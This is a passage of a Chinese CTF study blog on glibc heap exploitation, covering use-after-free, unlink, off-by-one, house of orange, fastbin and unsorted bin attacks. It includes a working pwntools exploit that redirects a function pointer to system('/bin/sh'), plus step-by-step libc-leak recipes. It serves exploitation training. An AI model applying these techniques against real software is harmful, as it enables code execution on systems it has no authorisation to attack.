接下来的几句大致意思也就是将输入的数作为数值去申请相应大小的堆,并输入数据进去。这理要注意的是这里用*v0作为指针指向新申请堆块,在之前用v0 = *(&ptr + i)将最开始申请的堆块的数据区的第一个字节的地址赋给v0,这里的真正含义便是以最开始申请的堆块的数据区的第一个字节作为指针指向后面申请的堆,便是在第一个堆的数据区中放上第二个堆的数据区的起始地址。入图所示(虚线等多余的地方先不用管)。

image-20240527221557186

于此便完成了程序中日志创建的堆管理。在来看第二个选项,清理堆

image-20240527221918220

这里会更具我们输入的数字从而清理第几个堆块,需要注意的是由于之前我们在创建堆的时候程序用来统计堆的个数的数据的起始是从0开始的,所以这里要清理第一个堆要输入的数,应该是0,后面的也要相应减一。

在知道要清理的堆块后,程序便会开始使用free函数清理堆块,这里的**(&ptr + v1))这个其实就是指*v0用来指向由我们自己创建的堆的指针,而第二个*(&ptr + v1)则是用来指向在上一个函数中一开始就创建用来存放第二个堆块的指针的大小为0x10得堆块,这里一次性清理两个堆块,把我们使用创建日志的函数中创建的两个堆一次性清理,但是我们可以注意到在清理了这个堆块的同时,并没有把指向这两个堆的指针同时清零,我们可能还有再次调用这两个指针的可能,这里便出现的uaf漏洞的可能,至于能不能使用还要继续往下看。

突然想起来在这里差了一步,忘记查找程序中有没有后门函数。

image-20240528200516466

image-20240528200528826

那好,system函数和/bin/sh都有了,那我们只要能在后面使程序执行system(/bin/sh)便可以满足程序的需求。现在的问题就在与我们要如何才能使程序执行这个命令的问题了。

现在我们的选项函数还有两个函数没有看,第4个不用管,就是简单的退出函数。

image-20240528200913954

现在来重点看最后一个打印内容选项的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 sub_400C66()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Please input list index: ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < dword_60204C )
{
if ( *(&ptr + v1) )
(*(*(&ptr + v1) + 1))(**(&ptr + v1));
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}

根据用户输入的数判断要打印的堆块,然后重点来了。

1
(*(*(&ptr + v1) + 1))(**(&ptr + v1));

使用的打印函数并不是直接使用某个函数,而是使用两个指针从而完成函数调用的功能

*(*(&ptr + v1) + 1)这里我们前文提过,*(&ptr + v1)是程序自己申请的0x10大小的堆块的指针,而+1则代表他的下一字节。根据前文我们知道这里被放入了一个函数的起始地址( *(*(&ptr + i) + 1) = sub_40098A;),而这个sub_40098A函数的内容

image-20240528202538129

其实就是完成一个打印的功能的函数,不过这里在程序中使用了一个指针指向他,并通过指针调用。而**(&ptr + v1)这个就是指向在之前根据我们自己输入的大小申请的相应大小的堆块。

所以这里就用这两个指针完成了对堆内容的打印。并且这里的这两个指针是存放在同一个堆块之中,那我们便可以想是否能够修改这个堆块中的这两个指针的内容从而执行我们的后门函数,从而达到目的。

在这里结合之前发现的uaf漏洞,会发现这里会出现一个致命的问题,在理论上我们之前申请堆块用的指针被存放在ptr及其后面的位置中,程序为了方便管理会依次使用ptr后的空间,并不是覆盖。然后在我们使用清理堆块的选项时,并没有将指针一同清零,因此,在ptr的地址中依然有指向堆块的指针存在,并没有被清理,然后我们在调用打印的函数时,依然能调用已经被free掉的堆块,并执行其中的内容,于是我们对本题的攻击便基本成型。

image-20240528205137589

大致的思路如图,根据这个来描述针对本题的攻击。

在程序中先使用创建日志的函数,申请一个大小>0x18的堆(这里必须要让程序配一个与0x10大小不同的堆块,多的8可以输入到下一个chunk中的prev size字段,一旦超过8便只能从新申请更大的堆块),随便填一点内容就行,这样程序便会像上面的ptr指向的两个堆块一样出现这样的结构,然后在执行同样的操作,再申请一个大于0x18的堆,这样程序的ptr和ptr+1地段都会出现上文中的结构。

在之后我们通过程序中的清理函数的选项将我们刚刚申请的这4个堆块都free掉。于是程序中的fast bin中便会出现上面左边的结构,这4个堆依次连接,便于程序的下次快速调用,这里我们虽然将我们之前申请的堆块free掉了,但是ptr中的指针这些都没有被清零。

然后我们在使用这个选项向程序在申请大小为0x10的堆块,这里程序为了快速分配会先从而fast bin中寻找有没有满足要求的chunk,于是之前最后进入fast bin中的原本ptr +1指向的chunk便会被分配出去,然后由于我们还需要一个大小为0x10的chunk,于是之前ptr指向的chunk,便会被分配出去(这里就是为了避免我们自己申请的堆被分配出去所以申请的必须要大于0x18),用于作为我们自己申请的堆存储我们填入的数据,于是程序便构成ptr+2中由虚线指向的结构。此时如果我们向我们自己申请的堆中填入system和/bin/sh的地址那么,便覆盖ptr指向的堆中的数据,

此时由于ptr中的指针并没用清零,于是我们再次使用打印的选项并想要打印第一个堆块中的内容时程序会开始执行ptr指向的堆块中的命令来用于打印(理论上来说,如果我们应该将ptr中的指针清零,从而使程序不能完成我们这个打印已经被free掉的堆的操作,但是由于ptr中指针没有被清零于是程序就认为那个堆依然存在从而去执行堆中的指针,从而打印内容),但是我们此时修改了这个堆的内容导致程序直接执行了system(/bin/sh)这个后门函数从而满足了我们的要求。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
io=process('./babyheap')
#io = remote("node5.buuoj.cn",28382)

context.log_level = 'debug'
#gdb.attach(io,'b *0x400D6E')ls
#pause()


def create_1(size,content):
io.sendafter('Your choice: ','1')
io.sendafter('size: \n',str(size))
io.sendafter('content: \n',content)

def delete_2(index):
io.sendafter('Your choice: ',b'2')
io.sendafter('index: \n',str(index))

def print_3(index):
io.sendafter('Your choice: ',b'3')
io.sendafter('index: \n',str(index))

binsh=0x602010
system=0x4007A0

create_1(0x19,b'AAA')
create_1(0x19,b'BBB')


delete_2(0)
delete_2(1)

create_1(0x10,p64(binsh)+p64(system))

print_3(0)

io.interactive()

这道题就是一个最基础的uaf漏洞的题,写的比较详细,往对以后的这种漏洞有所启迪。

在libc版本为2.27的题目中,这种uaf漏洞,能使用tcachebins这样一种结构

image-20240606150233631

这种结构出现在大小小于0x400的chunk在被free后链接而成(大于0x400的在free后会成为unsortedbin),在这种结构中,chunk的fd指针由于指向下一个chunk的原本的的数据段,现在的fd段(如果下面没有chunk了,这个fd指针将会指向0)。这里面的chunk在再次使用时遵循的是先进先出的规律,当再次malloc时,先吧上面一个满足大小的chunk拿出来使用,然后在将下面一个满足大小的chunk拿出来使用。

这里如果我们便可以通过uaf漏洞,将chunk中fd指针的值修改为我们需要的地址空间然后,malloc到这块空间,便可以对其进行修改。

(这里好像不用在意要修改的地址空间上两位的值能不能构成chunk的prev size和size都可以,malloc到那里直接修改,但是在其他版本可能要满足条件)

unlink

现简单说一下这一类题的大致问题在哪里,与一般的解决办法。

要能使用这种解决办法的题,会以下的几种重要的东西是我们能够使用的,才能使用这种办法。

  1. 能连续申请几个连续的堆,
  2. 对于指向申请的堆的指针,会在bss段上有一个固定且已知的地点存放,并且存放的方式是连续的。
  3. 必须在申请的堆中有堆溢出,用于修改下一个堆的prev size段空间

对于这一类的题,最重要的就是在我们申请的堆中间,通过我们自己伪造一个fake chunk与bss段的存放对指针的地址,构成一个含有3个chunk的双向链表,然后在申请的宁外一个堆中使用堆溢出,从而修改下一个堆中的prev size段,并使大小为从要修改这个chunk的prev size一直到,我们伪造的fake chunk的prev size这两个地址的距离差大小,这样使得我们在后面free掉我们修改了prev size 的chunk时,程序会将从这个chunk一直到我们伪造的fake chunk的这一段地址都认为是之前已经free的chunk(prev size中记录的是上一个free chunk的大小),从而使这一个刚刚释放的free chunk,直接就把上面的一整段被识变为free chunk的地址合并了(连续的两个free chunk会被程序合并),但是我们在之前伪造的fake chunk已经与存放指针的地址,构成了一个双向链表,所以在这里fake chunk被下面的free chunk合并时,原本与之构成双项链表的那两个空间,由于与之相连的chunk被拿走了,使得那两个空间,会有一定的改变,而改变的结果就会使原本存放指针的地方存放其他地址空间,从而使用这个地址修改函数地址。

注意一下,当这道题的libc版本为2.23时,我们用于free的chunk的大小必须要大于fastbin(大于等于0x80)的大小,否则不能出现unlink的情况

image-20240601102616025

image-20240602084358411

image-20240602085046748

image-20240602085110947

Off-By-One

这个漏洞在很多的地方都算是比较常见的吧,不过在之前的栈的时候属于不太好利用的一种,不过在堆中由于堆的特殊性导致,这个漏洞难够在很多地方发挥出意想不到的作用。

这个漏洞的具体就是使用read等函数向某块地址写入数据时,如果使用了循环的方式,而循环的次数的大小与那块地址的大小相同,如我们有的是大小为16的数组,我们通过循环向这里写入数字,而我们的循环的次数是由我们数组的大小决定,这里简单的说就是对循环的次数没有进行严格的检查,像循环的次数由变量x决定,并且循环的此时就等于这个x的值,这里x=16,看起来好像没什么问题但是会发现,由于程序中的这些数组的起始都是从0开始,包括循环的+

image-20240604222351621

unsortedbin泄露libc地址

关于这种bin的具体结构等之后学会了在细讲,这里先讨论如何利用这种bin将libc的地址泄露。

由于在不同的libc版本中unsortedbin的产生不同,这里将针对不同libc版本进行分别讲解。

一,libc-2.27

在2.27的libc版本中又一种tcachebins的存在,这会导致数据区小于0x400,整体小于0x410的chunk在free后被放入tcachebins这里面,供下次使用,因此我们这里首先要先malloc一块大小大于0x400的chunk,同时这个chunk还不能与top chunk相邻,否则在free后会被top chunk直接合并,因此我们必须保证这个大于0x400的chunk与top chunk中间还有一个chunk用于隔离这两个chunk。就像满足这样的条件

image-20240606153035259

然后我们将大于0x400的这块chunk,free掉,就会得到一块被放置在unsortedbin中,且满足条件的free

image-20240606153330482

而此时这个free掉的chunk中的fd和bk指针由于只有这一个chunk在unsortedbin中,所以他们同时指向的都是main_arena+96的地址

image-20240606153458981

并且这个地址在程序中与libc的基地址的距离是始终保持相同的,只要能泄露这个便可以知道程序中的libc的基地址,在其他版本中其实也如此,不过在有的地方也有不同。

house of orange

今天做题的时候刚好遇到这个知识点,那就现在把他写一下。

这个的作用并不能直接作用于程序上实现shell,这个漏洞的作用只是在于特殊情况下泄露libc的地址,其实这里用到也就是创造unsortedbin,从而泄露libc的地址,我们知道在上面的使用unsortedbin泄露libc地址的方法前提是要能创造一个大小满足free后进入unsortedbin的大小的chunk并且这个chunk还不能与top chunk相邻的的条件的chunk,并且还要能将这个chunk,free掉使得它进入到unsortedbin中,然后在将fd指针的值打印出来,这样才能泄露libc的值,而这里我们就是在面对没有free函数的情况下,依然能产生unsortedbin从而泄露libc的值。

具体的不细将,直接将做法。

关于这种做法目前我之在libc-2.23上做过,关于其他的libc可能有所不同,请注意。这里也是按在libc-2.23上来讲。

一,第一步堆溢出,修改top chunk的size值

这里必须有一个靠近top chunk的chunk能被我们写入数据进去,同时这个chunk要能进行溢出,溢出的大小要能刚好修改到top chunk的size段。

关于修改的这个top chunk的size的大小并不是随意的,也是有要求的,

image-20240607144743668

这是未修改的top chunk的大小,size段的大小为0x20fe0,这里我们要修改成0xfe1,如下图,从而使程序能将top chunk的大小识别为0xfe0(那一个字节用于放数据,不计入总大小)

image-20240607145205512

关于为什么要修改top chunk的大小为这个数据,我解释不好,有兴致的可以参考一下这篇文章House of Orange - CTF Wiki (ctf-wiki.org)

1
1.伪造的size必须要对齐到内存页

什么是对齐到内存页呢?我们知道现代操作系统都是以内存页为单位进行内存管理的,一般内存页的大小是 4kb。那么我们伪造的 size 就必须要对齐到这个尺寸。在覆盖之前 top chunk 的 size 大小是 20fe1,通过计算得知 0x602020+0x20fe0=0x623000 是对于 0x1000(4kb)对齐的。

1
2
3
4
0x602000:   0x0000000000000000  0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk
0x602030: 0x0000000000000000 0x0000000000000000

因此我们伪造的 fake_size 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size。

以上便是引用那里面的话,这里关于修改的大小我目前使用0x0fe1是成功的,使用了0x1fe1不能成功,原因未知。有时间研究一下。

二,申请一个大小大于这个top chunk的堆块

这里我申请的大小为0xff0,这是申请后的样子

image-20240607150811073

就是这样我们便能够在没有使用free函数的情况下也能产生一个unsortedbin,并且其中fd和bk指针都指向main_arena+88的地址空间。

image-20240607151041083

现在虽然产生了unsortedbin但是我们会发现,此时我们如果只有一个用于存放最近的指针的空间,会发现这个指针指向的chunk时是下面的的那个chunk,所以这个没有用。

image-20240607151506598

三,再申请一个chunk

这个新申请的chunk的大小,没什么限制,别太大太小就行,这里我申请的大小为0x40

image-20240607152043072

申请之后会发现存放指针的地址空间,存放的新的chunk指针为unsortedbin上面的新chunk,并且这个新chunk的内容也大有搞头,这里按理论来说这个新chunk的数据段前两个字节存放的都是0x00007614787c4188这个数据,(这里因为这道题在申请chunk时,必须要输入数据,所以这里的数据段第一个字节,不能使用,只能使用第二个字节的数据),这个地址指向的为main_arena+1640,这个地址与libc基地址的距离是固定的。

image-20240607152729734

同时这个chunk的第3,第4字节存放的数据时这个chunk的头地址。

就这样只要我们能将这个新chunk的内容打印出来,接收第2字节的main_arena+1640的地址,第3字节的chunk的头地址,那就可以跟具这个地址与libc基地址的差得到基地址的大小(这个差值是固定不变的),还有chunk的地址也能拿到

  • 修改top chunk的size大小为0xfe1
  • 申请一个大小大于0xfe0的chunk
  • 在申请一个0x20的chunk
  • 打印并接收新chunk的内容(注意如果一定要输入数据,注意不要过多,影响第二字节的内容)
  • 减去相应的差值得到libc基地址。

Fastbin Attack

这一类有四种小类,这里将分批讲解。

Fastbin Double Free

这是一种利用比较多的漏洞,这种漏洞的实现的条件比较苛刻,但其攻击的效果也属于比较明显的便于利用的一种,这种的攻击的手段需要的有uaf漏洞,只有在有uaf漏洞的基础上以及比较早的比如libc2.23这些比较早期的版本下才能实现这种攻击的手段,具体的现在来讲。

既然是Double Free,那就必须要进行双重释放,对同一个堆块进行两次free,中间必须要free得有一个或多个chunk这样才能实现对同一个chunk进行两次释放,image-20240418143002441

这里借用一下之前文章中的图片讲解一下,在fastbin中的结构是用chunk中的fd指针指向之前一个free的指针的头地址,然后bin的指针指向最近free的chunk的头地址,对于最后一个chunk中的fd指针则为0,就这样可以再fastbin中构成由最开始的bin中的指针开始依次由fd指针相连的chunk链,就这样在malloc相同的大小的chunk时便可以在直接从这个fastbin中依次取出来用就行。

image-20240611213009652

就这样我们先free两个chunk这时bin指向第二个free的malloc,这个malloc的fd指针指向第一个chunk的头地址,第一个chunk的fd指针为0。

这时我们就对第一个free的chunk进行二次free,于是bin中的指针就会回到第一个chunk的头地址,同时这个chunk的fd指针也会因为在之前有已经free掉的chunk,从而指向第二个chunk的头地址,

image-20240611213952236

就这样原本的fastbin中的结构,由bin-->第二个chunk-->第一个chunk,变成

bin-->第一个chunk-->第二个chunk-->第一个chunk这样的双重free结构,

这样当我们向程序再申请一个相同大小的chunk时,程序会先从bin的指向中取出第一个chunk以供使用,但是由于之前的双重释放从而使得bin中的结构即使取出第一个chunk后依然有第一个chunk的存在,

bin-->第二个chunk-->第一个chunk

是这样的结构,虽然第一个chunk被我们取了出来但是在bin中依然有他的存在,并且此时第一个chunk中的fd指针在fastbin中由于是有用的指向了第二个chunk的头地址。

这里如果我们在程序的其他地方构造一个fake_chunk(这个地方可以是bss段上,甚至可以是栈上的地址),并使得第一个chunk中fd指针就指向这个fake_chunk的头地址,而这个fake_chunk的构造很简单,就是确保size段的大小和前两个chunk的size一样,同时其他的保持为0就行,然后在修改了chunk中的fd段后bin中的结构就会改变为如下的结构。

image-20240611220613433

这样之后,我们再向程序连续申请两个大小相同的chunk后bin就会指向我们fake_chunkde1,然后在申请一个就会使我们刚刚伪造的fake_chunk,被我们申请为一个新的chunk,从而可以修改这个地址的内容。

House Of Spirit

这个方法我个人感觉很奇妙,虽然这种方法有种脱裤子放屁的感觉(在更多的地方感觉使用fd修改可能更多,不过这种方法的思想还很值得学习的)。

这种方法的主要过程就是在使用free函数释放某一个chunk,我们通过在bss段或其他的地址伪造一段chunk,在使用于释放的那个指针指向的就是我们伪造的这个chunk,通过这样使得我们这伪造的这个chunk被挂入进fastbin中的单项链表中,被程序识别为一个free掉的chunk,在后期我们在向程序申请相同大小的chunk时,能直接将那块地址作为chunk以供我们要使用,从而是我们能修改那块区域和使用其中的数据段。

我之前说的脱裤子放屁的感觉就是在这里,我们本可以直接修改fastbin中的bk段直接指向伪造的chunk,但我们却要将那块伪造的chunk释放来挂入fastbin中,这不是脱裤子放屁,这是什么。不过并不是所有题都能直接修改free chunk的,所以这种方法的出现以可以理解。

关于这种方法在伪造chunk时有几个需要注意的点,这里我直接吵ctfwiki上了,原文在这里

Fastbin Attack - CTF Wiki (ctf-wiki.org)

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

在借用一篇大佬写的解释好好说话之Fastbin Attack(2):House Of Spirit_fastbin attack house of spirit-CSDN博客(这个是真的nb大佬,写的文章都太好了)

1、fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理

IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的,这个标志位位于size低二比特位

2、fake chunk 地址需要对齐, MALLOC_ALIGN_MASK

因为fake_chunk可以在任意可写位置构造,这里对齐指的是地址上的对齐而不仅仅是内存对齐,比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX00xXXXX4。64位的话地址就应该在0xXXXX00xXXXX8

3、fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐

fake_chunk如果想挂进fastbin的话构造的大小就不能大于0x80,关于对齐和上面一样,并且在确定prev_size的位置后size所在位置要满足堆块结构的摆放位置

4、fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

fake_chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。最大不能超过av->system_mem,即128kb。next_chunk的大小一般我们会设置成为一个超过fastbin最大的范围的一个数,但要小雨128kb,这样做的目的是在chunk连续释放的时候,能够保证伪造的chunk在释放后能够挂在fastbin中main_arena的前面,这样以来我们再一次申请伪造chunk大小的块时可以直接重启伪造chunk

5、fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

这个检查就是fake_chunk前一个释放块不能是fake_chunk本身,如果是的话_int_free函数就会检查出来并且中断。可以参考篇文章好好说话之Fastbin Attack(1):Fastbin Double Free

这里在讲讲我的自己的简单补充,伪造的chunk最好如下,fake_prev_size的值为0,fake_size可以根据自己的需求来调整,但不能超过fastbin的要求,还有这里填的是0x几0不用加1。在整个fake_chunk结束的下一行便要是宁一个fake chunk,这个只要整prev_szie 和size段就好,这个的prev szie是之前伪造的那个chunk的整体大小,然后size这个的大小在32位系统我使用了0x100是可行的,不知道在64位的系统中可以不,到时候在仔细研究一下。

在这里插入图片描述

就这样我们伪造一个chunk然后把这个chunk的数据段起始地址,当做这个chunk的指针放入free函数中,这样这个chunk变回被程序当做free chunk挂入fastbin中,然后我们在申请这个大小的chunk,便可以把这个地址当做新被chunk,被我们使用。

Alloc to Stack

Arbitrary Alloc

这还有两种方法,这两种方法的大致差别不大,都是在程序中寻找一块可用的地址然后修改fastbin的bk指针使其指向这个地址,在fastbin中增加这块地址,在之后将这块地址申请出来作为一个新chunk使用。

关于这块这地址的检查,不需要多的就一个对size段的大小检查,因此我们这可以在malloc_hook的地址上面通过偏移地址使得size只有0x7几,这样只要我们申请的chunk大小为0x70,程序就会直接把那块区域分配给我们使用。

2017 0ctf babyheap

这里讲一个泄露libc手法,是在做这道题时遇到的,这个手法还是比较可以的。

关于这种手法的使用条件,为

  • 可以申请多个chunk大小不一
  • 每一个chunk都可以进行堆溢出
  • 可以打印chunk中的内容

其实有这些条件这道题就可以用这种泄露的办法将libc地址泄露。

这里就拿这道题的条件分析,(这里面的图我从大佬的博客里面偷的,写的太好的这个大佬,强推!!!原文在这里好好说话之Fastbin Attack(4):Arbitrary Alloc_好好说话 ctf-CSDN博客,和上面的那篇是同一个作者,膜拜大佬。)

这道题我们不知道堆的指针在哪,同时也没有uaf漏洞给我们使用,那我们要泄露libc的地址,虽然这里我们能创造unsortbin,但我们并不知道这个chunk的地址故不能直接泄露他,这里便可以用这个方法泄露libc的地址

这里我们先申请5个chunk前4个大小为0x20,最后一个0x90,申请后的样子如下

在这里插入图片描述

形成这样的结构后,我们在依次free掉chunk3和chunk2这两个chunk,使得在fastbin中能形成一个链表,为什么要先free chunk3在chunk2,这里是为了在chunk2中出现bk指针执向chunk3头地址(fastbin的结构使后free的chunk中的bk指向前一个free的chunk的头地址),然后我们在利用chunk1的堆溢出,从而直接修改chunk2中的bk指针,使其指向chunk5的头地址。

这里虽然我们并不知道chunk5的准确头地址,但这里因为堆的对齐导致堆块的地址即使在每一次程序的加载都会有变化,但末尾的后3位是固定,这里我们只需要将chunk2的bk指针的后两位数字覆盖为chunk5的头地址的后两位,这样就可以改变fastbin中的结构使得chunk2后直接是chunk5的地址

在这里插入图片描述

这里我们还需要做的就是再利用chunk4中的堆溢出将chunk5的size段改为0x21,这里修改是为使chunk5的大小与chunk2的大小保持一致,这样我们能在之后的申请中将chunk再一次申请出来被程序再次记录下,在这里插入图片描述

修改后的结构如上,这样chunk2和chunk5的大小一致,我们可以直接向程序申请这个大小的堆块从而使得程序中的第3个指针的位置存放的也是第5个chunk的指针,也就是chunk5的重启

在这里插入图片描述

再这样之后再程序中就有两个地址同时记录则chunk5的地址,分别为地址空间为3和5的指针,不过由于这个地址我们并不知道但并不影响我们对其的引用。其实到这里剩下的就很简单了,我们再一次利用chunk4的堆溢出修改chunk5的size段的数据恢复为0x91,然后我们在申请一个chunk块,这个会从top chunk分出来,用以避免chunk5 free时直接与top chunk合并,之后我们直接free掉chunk5这样,chunk5就回进入unsortbin中,产生指向main_arena的fd指针,这里我们知道程序在free掉后会同时清楚相应位置存放的指针,但是这里由于我们之前的操作导致在程序中不只有记录chunk5的位置有指向chunk5的指针,还有记录chunk3的位置有指向chunk5的指针,这样就到导致我们可以通过打印chunk3的方法从而打印出chunk5中的内容,这样就可以通过unsortbin的bk指针得知libc的地址。

补充一下图,恢复chunk5的大小在这里插入图片描述

free chunk5,产生unsortbin

在这里插入图片描述

在次感谢holk大佬的博客,跪谢!

其实这种方法的主要目的就在与使用堆溢出修改fastbin中fd的指向,在申请相同chunk区域,使得程序中两个地址同时记录着同一块chunk的指针,然后利用这块chunk产生unsortbin,在利用后面存放这块chunk的指针打印chunk中的内容,从而实现libc地址的泄露。

巧妙的方法,感觉要长脑子了。

Unsorted Bin Attack

这个手法咋说呢,感觉有点鸡肋,单独使用的作用并不是那么的大,可能在大部分时候要配和着其他的手法来使用才算可以发挥作用,或许可以用来在有的时候用于泄露libc的地址,但条件感觉要的有点多,在没有在实际的题目的使用过。并且这种攻击的手法之前好像看见有人说从libc2.28开始就不能再使用,在系统中多了对Unsorted Bin 的大小检测的函数,这种攻击的方式便不能再使用所以对题目的要求也较高,就有点鸡肋。不过既然有种手法就还是学一下,至少知道这种漏洞的存在。

前话到此为止,现在开始讲有关这种手法的操作。

关于Unsorted Bin这是一个神奇的bin,我们知道有的chunk由于大小限制所以在释放后会被放入的Unsorted Bin中作为其中的一部分free chunk以供下次申请时快速使用,但是其实在没有chunk进入到unsorted bin的时候他自己本身就是一个单独的chunk结构,不过不参与到chunk的分配只作用来作为unsorted bin的基础机构,如下图

image-20240615220108814

(这个图还是偷的csdn的大佬holk,再次跪谢大佬,跪谢大佬无私,原文链接好好说话之Unsorted Bin Attack_unsortedbin attack-CSDN博客

这个就是unsorted bin结构,而当有free chunk进入到unsorted bin中时这两个的结构变回发生新的变化,

image-20240615220500217

此时chunk_400是我们程序中由free从而进入到unsorted bin中chunk,这个chunk的fd和bk指针都会指向unsorted bin的结构chunk的头地址,而我们知道unsorted bin的结构在程序中的位置在main_arena+88的地方,这就是为什么我们能通过泄露unsorted bin的fd和bk指针从而获取到程序的libc地址。

我们关于这个漏洞的手法就正式从这里开始,这里我们如果修改了我们free进unsorted bin中的这个chunk的bk指针,使其指向宁一个地址那么程序便会直接将那个地址默认为一个新free进unsorted bin中的chunk,从而形成一个新的结构。

image-20240615221509136

这里的bk指向的chunk中对任何一个的数值没有要求只要修改bk的指向,程序就会默认这个地址为一个新的chunk被收录进unsorted bin(这个在libc2.23中是如此其他版本还不知道),但是这里在个填入的地址后期并不会被申请出来。这里还有一个重要的点,就是在我们堆溢出修改chunk_400时我们不必保存fd指针的指向一直指向unsorted bin的头地址,我们可以直接覆盖为0。这样也不影响后面的操作。

现在便是这种方法的最后一步,由于在unsorted bin中对free chunk的申请保持的是一种FIFO(先进先出)的利用手法,所以即使在这里我们将一个新的地址作为新的free chunk挂入unsorted bin中,只要我们能在申请到与chunk_400同样大小的chunk那程序依然会先从unsorted bin中将chunk_400拿出给我们使用,而在这里一旦将chunk_400拿出来unsorted bin中变回对结构有新的变化,变化的结果如下

image-20240615223112353

变化之后unsorted bin的fd指针指向chunk_400的头地址,bk指针指向我们创造的fake chunk的头地址,而对我们来说最终要的便是我们的fake chunk的bk指针被修改为指向unsorted bin的头地址。

就这样我们成功做到将我们写入chunk_400中的地址的下两位修改为unsorted bin的头地址,但是由于这个地址在程序中随机化的,所以我们并不能保证这个数值的大小。虽然这个地址是main_arena+88,与libc的距离是固定不变的,但我们并不知道具体的大小,所以这里是有一点鸡肋的存在,但或许可以通过打印修改的这里的地址获取到libc的地址,但这并不好用。

好,到这里这种手法就差不多结束了,总结一下,这种手法能做的就是将程序中的某一块地址的内容修改为main_arena+88的地址, 是一个比较大的数。

  1. 产生unsorted bin
  2. 修改这个unsorted bin的bk指针指向我们要修改的地址-0x10的地址
  3. 重新通过malloc启用unsorted bin中的那个chunk

关于unsorted bin

这里讲一下有关于unsorted bin中的chunk的分配有关的事情,我们知道除了再有tcache bin的情况下一般只要大于fastbin的范围(0x80)的free chunk会被放入到unsorted bin中,但unsorted bin并不会长期存放,只会作为一个暂时的chunk存放地,在之后如果有需要malloc时,程序会先看fastbin中是否有符合要求的free chunk ,然后在在unsorted bin中寻找。

这里我们假设在unsorted bin中有两个chunk,一个为chunk(P1)0x390(<0x3F0),另一个为chunk(P2)0x410(>0x3F0)这两个chunk,并且小的chunk在第一位大的在第二位。这时我们向程序申请1个0x90的chunk,程序会在unsorted bin中进行寻找,而寻找的过程并不简单。

  • 从unsorted bin中拿出最后一个chunk(P1)
  • 把这个chunk(P1)放进small bin中,并标记这个small bin中有空闲的chunk(小于0x3F0)
  • 从unsorted bin中拿出最后一个chunk(P2)(P1被拿走之后P2就作为最后一个chunk了)
  • 把这个chunk(P2)放进large bin中,并标记这个large bin有空先的chunk(大于0x3F0)
  • 现在unsorted bin中为空,从small bin中的P1中分割出一个小chunk,满足请求的P4,并把剩下的chunk(0x390 - 0xa0后记P1_left)放回unsorted bin中

这个过程是比较复杂的,我这里讲的依然只是其中的一种情况,还有很多情况没有说。

malloc.c中从unsorted bin中摘除chunk完整过程代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

上面这是完整的原代码有时间再详细分析一下。

tcache attack

fast bin=0~0x80

